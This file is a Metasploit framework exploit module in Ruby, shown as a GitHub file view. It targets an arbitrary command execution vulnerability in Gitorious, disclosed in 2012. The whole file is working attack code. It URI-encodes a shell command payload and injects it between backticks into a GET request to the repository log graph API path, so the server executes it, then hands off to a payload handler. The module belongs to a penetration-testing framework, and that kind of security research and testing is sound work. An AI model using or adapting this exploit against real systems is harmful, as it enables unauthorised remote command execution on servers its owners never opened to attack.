/
gitorious_graph.rb
71 lines (63 loc) · 2.04 KB
/
gitorious_graph.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Gitorious Arbitrary Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability
in gitorious. Unvalidated input is passed to the shell allowing
command execution.
},
'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '78480' ],
[ 'URL', 'http://gitorious.org/gitorious/mainline/commit/647aed91a4dc72e88a27476948dfbacd5d0bf7ce' ]
],
'Privileged' => false,
'Payload' =>
{
'BadChars' => "\x60",
'DisableNops' => true,
'Space' => 31337,
'Compat' =>
{
'PayloadType' => 'cmd',
}
},
'Platform' => %w{ linux unix },
'Arch' => ARCH_CMD,
'DefaultTarget' => 0,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => '2012-01-19'
))
register_options(
[
OptString.new('URI', [true, "Path to project and repository", "/project/repo"]),
])
end
def exploit
# Make sure the URI begins with a slash
uri = normalize_uri(datastore['URI'])
command = Rex::Text.uri_encode(payload.raw, 'hex-noslashes')
command.gsub!("%20","%2520")
res = send_request_cgi({
'uri' => "/api"+ uri + "/log/graph/%60#{command}%60",
'method' => 'GET',
'headers' =>
{
'Connection' => 'Close',
}
}) #default timeout, we don't care about the response
if (res)
print_status("The server returned: #{res.code} #{res.message}")
end
handler
end
end